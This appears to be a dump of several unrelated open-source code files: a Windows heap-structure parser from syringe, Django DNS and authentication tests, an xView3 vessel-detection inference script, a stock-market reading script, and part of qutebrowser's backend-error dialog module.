version=sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION))\n\n blocksize = 0x10 if getattr(self, 'WIN64', False) else 8\n size_and_header = size + blocksize\n\n bi = math.trunc(math.floor(size_and_header / (1. * blocksize)))\n heaplist = self.__HeapList(bi)\n return heaplist.ListHint(bi)\n\n class _Encoding(pstruct.type, versioned):\n _fields_ = [\n (lambda self: pint.uint64_t if getattr(self, 'WIN64', False) else pint.uint_t, 'ReservedForAlignment'),\n (dyn.array(pint.uint32_t, 2), 'Keys')\n ]\n\n def __PointerKeyEncoding(self):\n if sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) != sdkddkver.NTDDI_WIN7:\n raise error.InvalidPlatformException(self, '__PointerKeyEncoding', version=sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION), expected=sdkddkver.NTDDI_WIN7)\n if self['EncodeFlagMask']:\n self.attributes['_HEAP_ENTRY_EncodeFlagMask'] = self['EncodeFlagMask'].li.int()\n self.attributes['_HEAP_ENTRY_Encoding'] = tuple(item.int() for item in self['Encoding'].li['Keys'])\n return ULONGLONG if getattr(self, 'WIN64', False) else ULONG\n\n def __init__(self, **attrs):\n super(HEAP, self).__init__(**attrs)\n aligned = dyn.align(8 if getattr(self, 'WIN64', False) else 4)\n integral = ULONGLONG if getattr(self, 'WIN64', False) else ULONG\n size_t = SIZE_T64 if getattr(self, 'WIN64', False) else SIZE_T\n f = []\n\n if sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) <= sdkddkver.NTDDI_WS03:\n f.extend([\n (HEAP_ENTRY, 'Entry'),\n\n (HEAP_SIGNATURE, 'Signature'),\n (ULONG, 'Flags'),\n (ULONG, 'ForceFlags'),\n (ULONG, 'VirtualMemoryThreshold'),\n (integral, 'SegmentReserve'),\n (integral, 'SegmentCommit'),\n (integral, 'DeCommitFreeBlockThreshold'),\n (integral, 'DeCommitTotalFreeThreshold'),\n (integral, 'TotalFreeSize'),\n (integral, 'MaximumAllocationSize'),\n (USHORT, 'ProcessHeapsListIndex'),\n (USHORT, 'HeaderValidateLength'),\n (dyn.block(4 if getattr(self, 'WIN64', False) else 0), 'padding(HeaderValidateLength)'),\n (PVOID, 'HeaderValidateCopy'),\n (USHORT, 'NextAvailableTagIndex'),\n (USHORT, 'MaximumTagIndex'),\n (dyn.block(4 if getattr(self, 'WIN64', False) else 0), 'padding(MaximumTagIndex)'),\n (P(HEAP_TAG_ENTRY), 'TagEntries'), # XXX: likely points to an array\n (P(HEAP_UCR_SEGMENT), 'UCRSegments'),\n (P(HEAP_UNCOMMMTTED_RANGE), 'UnusedUnCommittedRanges'),\n (ULONG_PTR, 'AlignRound'),\n (ULONG_PTR, 'AlignMask'),\n (dyn.clone(LIST_ENTRY, _path_=('ListEntry',), _object_=P(HEAP_VIRTUAL_ALLOC_ENTRY)), 'VirtualAllocdBlocks'),\n (dyn.array(P(HEAP_SEGMENT), 64), 'Segments'),\n (dyn.clone(ListsInUseUlong, length=4), 'FreeListsInUseUlong'),\n (USHORT, 'FreeListsInUseTerminate'),\n (USHORT, 'AllocatorBackTraceIndex'),\n (ULONG, 'NonDedicatedListLength'),\n (PVOID, 'LargeBlocksIndex'),\n (P(HEAP_PSEUDO_TAG_ENTRY), 'PseudoTagEntries'), # FIXME: probably an array\n (dyn.array(LIST_ENTRY, 128), 'FreeLists'),\n (P(HEAP_LOCK), 'LockVariable'),\n (PVOID, 'CommitRoutine'),\n (P(lambda s: FrontEndHeap.lookup(s.p['FrontEndHeapType'].li.int())), 'FrontEndHeap'),\n (USHORT, 'FrontHeapLockCount'),\n (FrontEndHeap.Type, 'FrontEndHeapType'),\n (UCHAR, 'LastSegmentIndex'),\n ])\n\n elif sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) < sdkddkver.NTDDI_WIN8:\n f.extend([\n (HEAP_SEGMENT, 'Segment'),\n (ULONG, 'Flags'),\n (ULONG, 'ForceFlags'),\n (ULONG, 'CompatibilityFlags'),\n (ULONG, 'EncodeFlagMask'),\n (HEAP._Encoding, 'Encoding'),\n (self.__PointerKeyEncoding, 'PointerKey'),\n (ULONG, 'Interceptor'),\n (ULONG, 'VirtualMemoryThreshold'),\n (HEAP_SIGNATURE, 'Signature'),\n (aligned, 'align(SegmentReserve)'), # FIXME: alignment or padding?\n (size_t, 'SegmentReserve'),\n (size_t, 'SegmentCommit'),\n (size_t, 'DeCommitFreeBlockThreshold'),\n (size_t, 'DeCommitTotalFreeThreshold'),\n (size_t, 'TotalFreeSize'),\n (size_t, 'MaximumAllocationSize'),\n (USHORT, 'ProcessHeapsListIndex'),\n (USHORT, 'HeaderValidateLength'),\n (aligned, 'align(HeaderValidateCopy)'),\n (PVOID, 'HeaderValidateCopy'),\n (USHORT, 'NextAvailableTagIndex'),\n (USHORT, 'MaximumTagIndex'),\n (aligned, 'align(TagEntries)'),\n (P(HEAP_TAG_ENTRY), 'TagEntries'),\n (dyn.clone(LIST_ENTRY, _path_=('ListEntry',), _object_=P(HEAP_UCR_DESCRIPTOR)), 'UCRList'),\n (ULONG_PTR, 'AlignRound'),\n (ULONG_PTR, 'AlignMask'),\n (dyn.clone(LIST_ENTRY, _path_=('ListEntry',), _object_=P(HEAP_VIRTUAL_ALLOC_ENTRY)), 'VirtualAllocedBlocks'),\n (dyn.clone(LIST_ENTRY, _path_=('SegmentListEntry',), _object_=fpointer(HEAP_SEGMENT, 'SegmentListEntry')), 'SegmentList'),\n (USHORT, 'AllocatorBackTraceIndex'),\n (USHORT, 'FreeListInUseTerminate'), # XXX: Is this for real?\n (ULONG, 'NonDedicatedListLength'),\n (P(HEAP_LIST_LOOKUP), 'BlocksIndex'),\n (fpointer(_HEAP_CHUNK, 'ListEntry'), 'UCRIndex'),\n (P(HEAP_PSEUDO_TAG_ENTRY), 'PseudoTagEntries'),\n (dyn.clone(LIST_ENTRY, _path_=('ListEntry',), _object_=fpointer(_HEAP_CHUNK, 'ListEntry')), 'FreeLists'),\n (P(HEAP_LOCK), 'LockVariable'),\n (dyn.clone(ENCODED_POINTER, _object_=ptype.undefined), 'CommitRoutine'),\n (P(lambda s: FrontEndHeap.lookup(s.p['FrontEndHeapType'].li.int())), 'FrontEndHeap'),\n (USHORT, 'FrontHeapLockCount'),\n (FrontEndHeap.Type, 'FrontEndHeapType'),\n (aligned, 'align(Counters)'), # FIXME: used to be a byte\n (HEAP_COUNTERS, 'Counters'),\n (HEAP_TUNING_PARAMETERS, 'TuningParameters'),\n ])\n\n elif sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) == sdkddkver.NTDDI_WIN8:\n # http://illmatics.com/Windows%208%20Heap%20Internals.pdf\n raise error.NdkUnsupportedVersion(self)\n\n elif sdkddkver.NTDDI_MAJOR(self.NTDDI_VERSION) == sdkddkver.NTDDI_WIN10:\n f.extend([\n (HEAP_SEGMENT, 'Segment'),\n (ULONG, 'Flags'),\n (ULONG, 'ForceFlags'),\n (ULONG, 'CompatibilityFlags'),\n (ULONG, 'EncodeFlagMask'),\n (HEAP._Encoding, 'Encoding'),\n (ULONG, 'Interceptor'),\n (ULONG, 'VirtualMemoryThreshold'),\n (HEAP_SIGNATURE, 'Signature'),\n (aligned, 'align(SegmentReserve)'), # FIXME: alignment or padding?\n (size_t, 'SegmentReserve'),\n (size_t, 'SegmentCommit'),\n (size_t, 'DeCommitFreeBlockThreshold'),\n (size_t, 'DeCommitTotalFreeThreshold'),\n (size_t, 'TotalFreeSize'),\n (size_t, 'MaximumAllocationSize'),\n (USHORT, 'ProcessHeapsListIndex'),\n (USHORT, 'HeaderValidateLength'),\n (aligned, 'align(HeaderValidateCopy)'),\n (PVOID, 'HeaderValidateCopy'),\n (USHORT, 'NextAvailableTagIndex'),\n (USHORT, 'MaximumTagIndex'),\n (aligned, 'align(TagEntries)'),\n (P(HEAP_TAG_ENTRY), 'TagEntries'),\n (dyn.clone(LIST_ENTRY, _path_=('ListEntry',), _object_=P(HEAP_UCR_DESCRIPTOR)), 'UCRList'),\n (size_t, 'AlignRound'),\n (size_t, 'AlignMask'),\n (dyn.clone(LIST_ENTRY, _path_=('ListEntry',), _object_=P(HEAP_VIRTUAL_ALLOC_ENTRY)), 'VirtualAllocedBlocks'),\n (dyn.clone(LIST_ENTRY, _path_=('SegmentListEntry',), _object_=fpointer(HEAP_SEGMENT, 'SegmentListEntry')), 'SegmentList'),\n (ULONG, 'AllocatorBackTraceIndex'),\n (ULONG, 'NonDedicatedListLength'),\n (P(HEAP_LIST_LOOKUP), 'BlocksIndex'),\n (fpointer(_HEAP_CHUNK, 'ListEntry'), 'UCRIndex'),\n (P(HEAP_PSEUDO_TAG_ENTRY), 'PseudoTagEntries'),\n (dyn.clone(LIST_ENTRY, _path_=('ListEntry',), _object_=fpointer(_HEAP_CHUNK, 'ListEntry')), 'FreeLists'),\n (P(HEAP_LOCK), 'LockVariable'),\n (dyn.clone(ENCODED_POINTER, _object_=ptype.undefined), 'CommitRoutine'), # FIXME: this is encoded with something somewhere\n #(P(ptype.undefined), 'CommitRoutine'),\n (rtltypes.RTL_RUN_ONCE, 'StackTraceInitVar'),\n (P(lambda s: FrontEndHeap.lookup(s.p['FrontEndHeapType'].li.int())), 'FrontEndHeap'),\n (USHORT, 'FrontHeapLockCount'),\n (FrontEndHeap.Type, 'FrontEndHeapType'),\n (FrontEndHeap.Type, 'RequestedFrontEndHeapType'),\n\n (aligned, 'align(FrontEndHeapUsageData)'),\n (P(pint.uint16_t), 'FrontEndHeapUsageData'), # XXX: this pointer target doesn't seem right\n (USHORT, 'FrontEndHeapMaximumIndex'),\n (dyn.clone(ListsInUseBytes, length=129 if getattr(self, 'WIN64', False) else 257), 'FrontEndHeapStatusBitmap'),\n\n (aligned, 'align(Counters)'), # FIXME: used to be a byte\n (HEAP_COUNTERS, 'Counters'),\n (HEAP_TUNING_PARAMETERS, 'TuningParameters'),\n ])\n\n else:\n raise error.NdkUnsupportedVersion(self)\n self._fields_ = f\n\n class HEAP_LIST_LOOKUP(pstruct.type):\n def __init__(self, **attrs):\n super(HEAP_LIST_LOOKUP, self).__init__(**attrs)\n f = self._fields_ = []\n aligned = dyn.align(8 if getattr(self, 'WIN64', False) else 4)\n\n f.extend([\n (P(HEAP_LIST_LOOKUP), 'ExtendedLookup'),\n\n (ULONG, 'ArraySize'),\n (ULONG, 'ExtraItem'),\n (ULONG, 'ItemCount'),\n (ULONG, 'OutOfRangeItems'),\n (ULONG, 'BaseIndex'),\n\n (aligned, 'align(ListHead)'),\n (P(dyn.clone(LIST_ENTRY, _path_=('ListEntry',), _object_=fpointer(_HEAP_CHUNK, 'ListEntry'))), 'ListHead'),\n (P(lambda s: dyn.clone(ListsInUseUlong, length=s.p.ListHintsCount() >> 5)), 'ListsInUseUlong'),\n (P(lambda s: dyn.array(dyn.clone(FreeListBucket, _object_=fpointer(_HEAP_CHUNK, 'ListEntry'), _path_=('ListEntry',), _sentinel_=s.p['ListHead'].int()), s.p.ListHintsCount())), 'ListHints'),\n ])\n\n def ListHintsCount(self):\n '''Return the number of FreeLists entries within this structure'''\n return self['ArraySize'].li.int() - self['BaseIndex'].li.int()\n\n def ListHint(self, blockindex):\n '''Find the correct (recent) ListHint for the specified ``blockindex``'''\n res = blockindex - self['BaseIndex'].int()\n if 0 > res or self.ListHintsCount() < res:\n raise error.NdkAssertionError(self, 'ListHint', message=\"Requested BlockIndex is out of bounds : {:d} <= {:d} < {:d}\".format(self['BaseIndex'].int(), blockindex, self['ArraySize'].int()))\n freelist = self['ListsInUseUlong'].d.l\n list = self['ListHints'].d.l\n if freelist.check(res):\n return list[res]\n return list[res]\n\n def enumerate(self):\n inuse, hints = (self[fld].d.li for fld in ['ListsInUseUlong', 'ListHints'])\n if inuse.bits() != len(hints):\n raise error.NdkAssertionError(self, 'ListHint', message=\"ListsInUseUlong ({:d}) is a different length than ListHints ({:d})\".format(inuse.bits(), len(hints)))\n for i, item in enumerate(hints):\n if inuse.check(i):\n yield i, item\n continue\n return\n\n def iterate(self):\n for _, item in self.enumerate():\n yield item\n return\n\nclass ProcessHeapEntries(parray.type):\n _object_ = P(HEAP)\n\n def walk(self):\n for x in self:\n yield x.d\n return\n\nif __name__ == '__main__':\n import sys\n import ptypes, ndk\n import ctypes\n def openprocess (pid):\n k32 = ctypes.WinDLL('kernel32.dll')\n res = k32.OpenProcess(0x30 | 0x0400, False, pid)\n return res\n\n def getcurrentprocess ():\n k32 = ctypes.WinDLL('kernel32.dll')\n return k32.GetCurrentProcess()\n\n def GetProcessBasicInformation (handle):\n nt = ctypes.WinDLL('ntdll.dll')\n class ProcessBasicInformation(ctypes.Structure):\n _fields_ = [('Reserved1', ctypes.c_uint32),\n ('PebBaseAddress', ctypes.c_uint32),\n ('Reserved2', ctypes.c_uint32 * 2),\n ('UniqueProcessId', ctypes.c_uint32),\n ('Reserved3', ctypes.c_uint32)]\n\n pbi = ProcessBasicInformation()\n res = nt.NtQueryInformationProcess(handle, 0, ctypes.byref(pbi), ctypes.sizeof(pbi), None)\n return pbi\n\n # grab process handle\n if len(sys.argv) > 1:\n pid = int(sys.argv[1])\n print(\"opening process {:d}\".format(pid))\n handle = openprocess(pid)\n else:\n handle = getcurrentprocess()\n print('using current process')\n ptypes.setsource(ptypes.provider.WindowsProcessHandle(handle))\n\n # grab peb\n import ndk\n pebaddress = GetProcessBasicInformation(handle).PebBaseAddress\n z = ndk.PEB(offset=pebaddress).l\n\n # grab heap\n if len(sys.argv) > 2:\n heaphandle = eval(sys.argv[2])\n for x in z['ProcessHeaps'].d.l:\n print(hex(x.int()), hex(heaphandle))\n if x.int() == heaphandle:\n b = x\n break\n continue\n if x.int() != heaphandle:\n raise ValueError(hex(heaphandle))\n else:\n b = z['ProcessHeap'].d.l\n\n a = ndk.heaptypes.HEAP(offset=b.getoffset())\n a=a.l\n# print(a.l)\n# b = a['Segment']\n# print(a['BlocksIndex'])\n# print(a['UCRIndex'])\n# print(list(b.walk()))\n\n c = a['FreeLists']\n\n# list(c.walk())\n # x = c['Flink'].d.l\n\n # print(x['Value']['a'])\n # x = x['Entry']['Flink'].d.l\n# print([x for x in c.walk()])\n# print(a['BlocksIndex'])\n\n# print(a['FrontEndHeap'].d.l)\n#\n# print(a['CommitRoutine'])\n\n# print(c['Flink'].d.l)\n\n# print(list(c.walk()))\n# print(c['Flink'].d.l['Flink'].d.l['Flink'].d.l)\n# d = [x for x in c.walk()]\n# print(help(d[1]))\n", "source": "arizvisa/syringe", "license": "BSD-2-Clause"} {"text": "from django.test import TestCase\nfrom django.core.exceptions import ValidationError\n\nfrom cyder.cydhcp.interface.static_intr.models import StaticInterface\nfrom cyder.core.system.models import System\nfrom cyder.cydns.domain.models import Domain\nfrom cyder.cydns.address_record.models import AddressRecord\nfrom cyder.cydns.cname.models import CNAME\nfrom cyder.cydns.ip.utils import ip_to_domain_name\n\n\nclass CNAMEStaticRegTests(TestCase):\n def create_domain(self, name, ip_type=None, delegated=False):\n if ip_type is None:\n ip_type = '4'\n if name in ('arpa', 'in-addr.arpa', 'ip6.arpa'):\n pass\n else:\n name = ip_to_domain_name(name, ip_type=ip_type)\n d = Domain(name=name, delegated=delegated)\n d.clean()\n self.assertTrue(d.is_reverse)\n return d\n\n def setUp(self):\n self.arpa = self.create_domain(name='arpa')\n self.arpa.save()\n self.i_arpa = self.create_domain(name='in-addr.arpa')\n self.i_arpa.save()\n\n self.c = Domain(name=\"ccc\")\n self.c.save()\n self.f_c = Domain(name=\"foo.ccc\")\n self.f_c.save()\n self.r1 = self.create_domain(name=\"10\")\n self.r1.save()\n self.n = System()\n self.n.clean()\n self.n.save()\n\n def do_add_intr(self, mac, label, domain, ip_str, ip_type='4'):\n r = StaticInterface(mac=mac, label=label, domain=domain, ip_str=ip_str,\n ip_type=ip_type, system=self.n)\n r.clean()\n r.save()\n repr(r)\n return r\n\n def do_delete(self, r):\n ip_str = r.ip_str\n fqdn = r.fqdn\n r.delete()\n self.assertFalse(\n AddressRecord.objects.filter(ip_str=ip_str, fqdn=fqdn))\n\n def test1_delete_cname(self):\n mac = \"11:22:33:44:55:66\"\n label = \"foo4\"\n domain = self.f_c\n ip_str = \"10.0.0.2\"\n kwargs = {'mac': mac, 'label': label, 'domain': domain,\n 'ip_str': ip_str}\n i = self.do_add_intr(**kwargs)\n cn, _ = CNAME.objects.get_or_create(label='foo', domain=domain,\n target=label + \".\" + domain.name)\n self.assertRaises(ValidationError, i.delete)\n\n def test1_delete_override(self):\n mac = \"12:22:33:44:55:66\"\n label = \"foo6\"\n domain = self.f_c\n ip_str = \"10.0.0.2\"\n kwargs = {'mac': mac, 'label': label, 'domain': domain,\n 'ip_str': ip_str}\n i = self.do_add_intr(**kwargs)\n cn, _ = CNAME.objects.get_or_create(label='food', domain=domain,\n target=label + \".\" + domain.name)\n i.delete(check_cname=False)\n", "source": "ngokevin/chili", "license": "BSD-3-Clause"} {"text": "import re\nimport warnings\nfrom typing import List\n\nfrom torch.nn.parallel import DistributedDataParallel\nfrom torch.utils.data import Dataset, DataLoader\nfrom tqdm import tqdm\n\nimport zoo\nfrom inference.postprocessing import process_confidence\nfrom inference.run_inference import predict_scene_and_return_mm\nfrom training.config import load_config\nimport torch.distributed as dist\n\nfrom training.utils import load_checkpoint\n\nwarnings.filterwarnings(\"ignore\")\nimport argparse\nimport os\n\nimport pandas as pd\nimport torch.distributed\n\n\nclass TestDataset(Dataset):\n\n def __init__(self, root_dir):\n super().__init__()\n self.names = os.listdir(root_dir)\n\n def __getitem__(self, index):\n return self.names[index]\n\n def __len__(self):\n return len(self.names)\n\n\ndef process_distributed(models: List[torch.nn.Module], args):\n out_dir = os.path.join(args.out_dir)\n os.makedirs(out_dir, exist_ok=True)\n\n test_dataset_dir = args.data_dir\n test_dataset = TestDataset(test_dataset_dir)\n\n sampler = torch.utils.data.distributed.DistributedSampler(test_dataset, shuffle=False)\n test_loader = DataLoader(\n test_dataset, batch_size=1, sampler=sampler, shuffle=False, num_workers=1, pin_memory=False\n )\n\n for sample in tqdm(test_loader):\n scene_id = sample[0]\n mask_dict = predict_scene_and_return_mm(models, scene_id=scene_id, dataset_dir=test_dataset_dir, use_fp16=True,\n rotate=True)\n data = process_confidence(scene_id, None, mask_dict)\n pd.DataFrame(data, columns=[\"detect_scene_row\", \"detect_scene_column\", \"scene_id\", \"is_vessel\", \"is_fishing\",\n \"vessel_length_m\", \"confidence\", \"mean_obj\", \"mean_vessel\", \"mean_fishing\",\n \"mean_length\", \"mean_center\"]).to_csv(os.path.join(out_dir, f\"{scene_id}.csv\"))\n\n\ndef load_model(args, config_path, checkpoint):\n conf = load_config(config_path)\n model = zoo.__dict__[conf['network']](**conf[\"encoder_params\"])\n model = model.cuda()\n load_checkpoint(model, checkpoint)\n channels_last = conf[\"encoder_params\"].get(\"channels_last\", False)\n if channels_last:\n model = model.to(memory_format=torch.channels_last)\n model = DistributedDataParallel(model, device_ids=[args.local_rank], output_device=args.local_rank,\n find_unused_parameters=True)\n return model.eval()\n\n\ndef main():\n args = parse_args()\n init_gpu(args)\n config_paths = [os.path.join(\"configs\", f\"{config}.json\") for config in args.configs]\n checkpoint_paths = [os.path.join(args.weights_path, checkpoint) for checkpoint in args.checkpoints]\n models = [load_model(args, conf, checkpoint) for conf, checkpoint in zip(config_paths, checkpoint_paths)]\n process_distributed(models, args)\n\n\ndef init_gpu(args):\n if args.distributed:\n dist.init_process_group(backend=\"nccl\",\n rank=args.local_rank,\n world_size=args.world_size)\n torch.cuda.set_device(args.local_rank)\n else:\n os.environ['CUDA_DEVICE_ORDER'] = 'PCI_BUS_ID'\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = args.gpu\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(\"Pipeline\")\n arg = parser.add_argument\n arg('--configs', nargs='+')\n arg('--workers', type=int, default=16, help='number of cpu threads to use')\n arg('--gpu', type=str, default='0', help='List of GPUs for parallel training, e.g. 0,1,2,3')\n arg('--checkpoints', nargs='+')\n arg('--weights-path', type=str, default=\"weights\")\n arg('--fold', type=int, default=0)\n arg('--data-dir', type=str, default=\"/mnt/md0/datasets/xview3/test\")\n arg('--out-dir', type=str, default=\"/mnt/md0/datasets/xview3/test_preds\")\n arg('--fp16', action='store_true', default=False)\n arg('--distributed', action='store_true', default=False)\n arg(\"--local_rank\", default=0, type=int)\n arg(\"--world-size\", default=1, type=int)\n\n args = parser.parse_args()\n return args\n\n\nif __name__ == '__main__':\n main()\n", "source": "selimsef/xview3_solution", "license": "Apache-2.0"} {"text": "from django.http import HttpResponseNotAllowed, JsonResponse\nfrom django.shortcuts import resolve_url\nfrom django.conf import settings\nimport mock\nfrom wristband.authentication.views import login_view, logout_view\n\n\n@mock.patch('wristband.authentication.views.login')\n@mock.patch('wristband.authentication.views.authenticate')\ndef test_login_view(mocked_authenticate, mocked_login, client, django_user_model):\n mock_user = django_user_model(username='test_user')\n mocked_authenticate.return_value = mock_user\n\n url = resolve_url('login')\n response = client.post(url, {'username': 'test_user', 'password': 'password'})\n mocked_authenticate.assert_called_with(username='test_user', password='password')\n assert isinstance(response, JsonResponse)\n assert response.status_code == 200\n assert 'session_key' in response.content\n\n\n@mock.patch('wristband.authentication.views.authenticate')\ndef test_login_view_bad_credential(mocked_authenticate, rf):\n mocked_authenticate.return_value = None\n url = resolve_url('login')\n request = rf.post(url, {'username': 'test_user', 'password': 'password'})\n response = login_view(request)\n mocked_authenticate.assert_called_with(username='test_user', password='password')\n assert 'Please ensure you are using your test login' in response.content\n assert isinstance(response, JsonResponse)\n assert response.status_code == 401\n\n\ndef test_login_view_wrong_method(client):\n url = resolve_url('login')\n response = client.get(url)\n assert isinstance(response, HttpResponseNotAllowed)\n\n\n@mock.patch('wristband.authentication.views.logout')\ndef test_logout_view(mocked_logout, rf):\n url = resolve_url('logout')\n request = rf.get(url)\n response = logout_view(request)\n assert isinstance(response, JsonResponse)\n mocked_logout.assert_called_with(request)\n\n\ndef test_logout_view_wrong_method(client):\n url = resolve_url('logout')\n response = client.post(url)\n assert isinstance(response, HttpResponseNotAllowed)\n\n", "source": "hmrc/wristband", "license": "Apache-2.0"} {"text": "# read_stocks.py\n# Read the current data of the stock market and show them if need be\n \ndef is_open(api):\n\t\t\n\t#Check if market is closed\n\tclock = api.get_clock()\n\tprint('The market is {}'.format('open.' if clock.is_open else 'closed.'))\n\n\n### Please check again here \ndef read_market_data(api,input_stocks,intervals,ma_interval):\n\n\n\t\tbarset = api.get_barset(input_stocks,'day', limit = intervals+ma_interval) #acquire additional data for moving average (add extra ma_interval)\n\t\tstock_bars = barset[input_stocks]\n\n\t\tweek_open = stock_bars[intervals+ma_interval-5].o\n\t\tweek_close = stock_bars[-1].c\n\n\n\t\tpercent_change = (week_close-week_open)/week_open*100\n\n\t\t# Print if how stocks have evolved over last couple of days\n\t\tprint(input_stocks,' moved {}% over the last 5 days'.format(percent_change))\n\n\t\t# convert time in datetime\n\t\n\n\t\treturn stock_bars\n\n", "source": "x-meienberg/traffinjam", "license": "MIT"} {"text": "# vim: ft=python fileencoding=utf-8 sts=4 sw=4 et:\n\n# Copyright 2017-2021 Florian Bruhin (The Compiler) \n#\n# This file is part of qutebrowser.\n#\n# qutebrowser is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# qutebrowser is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with qutebrowser. If not, see .\n\n\"\"\"Dialogs shown when there was a problem with a backend choice.\"\"\"\n\nimport os\nimport sys\nimport functools\nimport html\nimport enum\nimport shutil\nimport argparse\nimport dataclasses\nfrom typing import Any, List, Sequence, Tuple, Optional\n\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import (QDialog, QPushButton, QHBoxLayout, QVBoxLayout, QLabel,\n QMessageBox, QWidget)\nfrom PyQt5.QtNetwork import QSslSocket\n\nfrom qutebrowser.config import config, configfiles\nfrom qutebrowser.utils import (usertypes, version, qtutils, log, utils,\n standarddir)\nfrom qutebrowser.misc import objects, msgbox, savemanager, quitter\n\n\nclass _Result(enum.IntEnum):\n\n \"\"\"The result code returned by the backend problem dialog.\"\"\"\n\n quit = QDialog.Accepted + 1\n restart = QDialog.Accepted + 2\n restart_webkit = QDialog.Accepted + 3\n restart_webengine = QDialog.Accepted + 4\n\n\n@dataclasses.dataclass\nclass _Button:\n\n \"\"\"A button passed to BackendProblemDialog.\"\"\"\n\n text: str\n setting: str\n value: Any\n default: bool = False\n\n\ndef _other_backend(backend: usertypes.Backend) -> Tuple[usertypes.Backend, str]:\n \"\"\"Get the other backend enum/setting for a given backend.\"\"\"\n other_backend = {\n usertypes.Backend.QtWebKit: usertypes.Backend.QtWebEngine,\n usertypes.Backend.QtWebEngine: usertypes.Backend.QtWebKit,\n }[backend]\n other_setting = other_backend.name.lower()[2:]\n return (other_backend, other_setting)\n\n\ndef _error_text(because: str, text: str, backend: usertypes.Backend) -> str:\n \"\"\"Get an error text for the given information.\"\"\"\n other_backend, other_setting = _other_backend(backend)\n if other_backend == usertypes.Backend.QtWebKit:\n warning = (\"Note that QtWebKit hasn't been updated since \"\n \"July 2017 (including security updates).\")\n suffix = \" (not recommended)\"\n else:\n warning = \"\"\n suffix = \"\"\n return (\"Failed to start with the {backend} backend!\"\n \"

qutebrowser tried to start with the {backend} backend but \"\n \"failed because {because}.

{text}\"\n \"

Forcing the {other_backend.name} backend{suffix}

\"\n \"

This forces usage of the {other_backend.name} backend by \"\n \"setting the backend = '{other_setting}' option \"\n \"(if you have a config.py file, you'll need to set \"\n \"this manually). {warning}

\".format(\n backend=backend.name, because=because, text=text,\n other_backend=other_backend, other_setting=other_setting,\n warning=warning, suffix=suffix))\n\n\nclass _Dialog(QDialog):\n\n \"\"\"A dialog which gets shown if there are issues with the backend.\"\"\"\n\n def __init__(self, *, because: str,\n text: str,\n backend: usertypes.Backend,\n buttons: Sequence[_Button] = None,\n parent: QWidget = None) -> None:\n super().__init__(parent)\n vbox = QVBoxLayout(self)\n\n other_backend, other_setting = _other_backend(backend)\n text = _error_text(because, text, backend)\n\n label = QLabel(text)\n label.setWordWrap(True)\n label.setTextFormat(Qt.RichText)\n vbox.addWidget(label)\n\n hbox = QHBoxLayout()\n buttons = [] if buttons is None else buttons\n\n quit_button = QPushButton(\"Quit\")\n quit_button.clicked.connect(lambda: self.done(_Result.quit))\n hbox.addWidget(quit_button)\n\n backend_text = \"Force {} backend\".format(other_backend.name)\n if other_backend == usertypes.Backend.QtWebKit:\n backend_text += ' (not recommended)'\n backend_button = QPushButton(backend_text)\n backend_button.clicked.connect(functools.partial(\n self._change_setting, 'backend', other_setting))\n hbox.addWidget(backend_button)\n\n for button in buttons:\n btn = QPushButton(button.text)\n btn.setDefault(button.default)\n btn.clicked.connect(functools.partial(\n self._change_setting, button.setting, button.value))\n hbox.addWidget(btn)\n\n vbox.addLayout(hbox)\n\n def _change_setting(self, setting: str, value: str) -> None:\n \"\"\"Change the given setting and restart.\"\"\"\n config.instance.set_obj(setting, value, save_yaml=True)\n\n if setting == 'backend' and value == 'webkit':\n self.done(_Result.restart_webkit)\n elif setting == 'backend' and value == 'webengine':\n self.done(_Result.restart_webengine)\n else:\n self.done(_Result.restart)\n\n\n@dataclasses.dataclass\nclass _BackendImports:\n\n \"\"\"Whether backend modules could be imported.\"\"\"\n\n webkit_error: Optional[str] = None\n webengine_error: Optional[str] = None\n\n\nclass _BackendProblemChecker:\n\n \"\"\"Check for various backend-specific issues.\"\"\"\n\n def __init__(self, *,\n no_err_windows: bool,\n save_manager: savemanager.SaveManager) -> None:\n self._save_manager = save_manager\n self._no_err_windows = no_err_windows\n\n def _show_dialog(self, *args: Any, **kwargs: Any) -> None:\n \"\"\"Show a dialog for a backend problem.\"\"\"\n if self._no_err_windows:\n text = _error_text(*args, **kwargs)\n log.init.error(text)\n sys.exit(usertypes.Exit.err_init)\n\n dialog = _Dialog(*args, **kwargs)\n\n status = dialog.exec()\n self._save_manager.save_all(is_exit=True)\n\n if status in [_Result.quit, QDialog.Rejected]:\n pass\n elif status == _Result.restart_webkit:\n quitter.instance.restart(override_args={'backend': 'webkit'})\n elif status == _Result.restart_webengine:\n quitter.instance.restart(override_args={'backend': 'webengine'})\n elif status == _Result.restart:\n quitter.instance.restart()\n else:\n raise utils.Unreachable(status)\n\n sys.exit(usertypes.Exit.err_init)\n\n def _xwayland_options(self) -> Tuple[str, List[_Button]]:\n \"\"\"Get buttons/text for a possible XWayland solution.\"\"\"\n buttons = []\n text = \"

You can work around this in one of the following ways:

\"\n\n if 'DISPLAY' in os.environ:\n # XWayland is available, but QT_QPA_PLATFORM=wayland is set\n buttons.append(\n _Button(\"Force XWayland\", 'qt.force_platform', 'xcb'))\n text += (\"

Force Qt to use XWayland

\"\n \"

This allows you to use the newer QtWebEngine backend \"\n \"(based on Chromium). \"\n \"This sets the qt.force_platform = 'xcb' option \"\n \"(if you have a config.py file, you'll need to \"\n \"set this manually).

\")\n else:\n text += (\"

Set up XWayland

\"\n \"

